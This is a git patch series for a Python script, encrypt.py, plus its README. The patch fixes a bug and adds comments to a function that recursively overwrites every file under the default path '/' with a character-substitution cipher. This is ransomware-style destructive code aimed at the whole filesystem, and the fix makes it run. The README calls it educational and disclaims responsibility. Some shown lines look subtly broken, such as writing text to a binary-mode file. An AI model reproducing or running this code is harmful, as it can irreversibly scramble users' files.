From 35f4553b7d11ee7fde07f40b93c853abc91e1059 Mon Sep 17 00:00:00 2001 From: Akintola Jacob Date: Thu, 22 Aug 2024 16:35:29 +0100 Subject: [PATCH 1/2] Add comments to code and fix errors --- encrypt.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/encrypt.py b/encrypt.py index 4f40835..d9f59e0 100644 --- a/encrypt.py +++ b/encrypt.py @@ -8,6 +8,7 @@ path = '/' +# Encrypts a file by shuffling the characters in the file def encrypt_file(file): char = list(" " + string.ascii_letters + string.digits + string.punctuation) key = char.copy() @@ -17,7 +18,7 @@ def encrypt_file(file): data = r_file.read() encrypt_text = '' for letter in data: - index = chars.index(letter) + index = char.index(letter) encrypt_text += key[index] with open(file, 'wb') as w_file: w_file.write(encrypt_text) @@ -25,6 +26,7 @@ def encrypt_file(file): except PermissionError: pass +# Encrypts all files in a folder and its subfolders def encrypt_folder(path=path): for file in pathlib.Path(path).glob('*'): if os.path.isfile(file): From b59e15ff82d8e2a754ac97306bd8b8e68eb5bb52 Mon Sep 17 00:00:00 2001 From: Akintola Jacob Date: Thu, 22 Aug 2024 16:39:31 +0100 Subject: [PATCH 2/2] Update README.md file --- README.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d903871..edc4a09 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,9 @@ # EncryptingOnPython -Tool on python for encrypting and decrypting files +A simple Python script that encrypts files. +The script can encrypt individual files or entire folders and their subfolders. -The script is created for educational purposes only. The author is not responsible for your actions +NOTE: +-> The script uses a simple substitution cipher to encrypt the files, which is not secure for sensitive data. + +-> The script is created for educational purposes only. The author is not responsible for your actions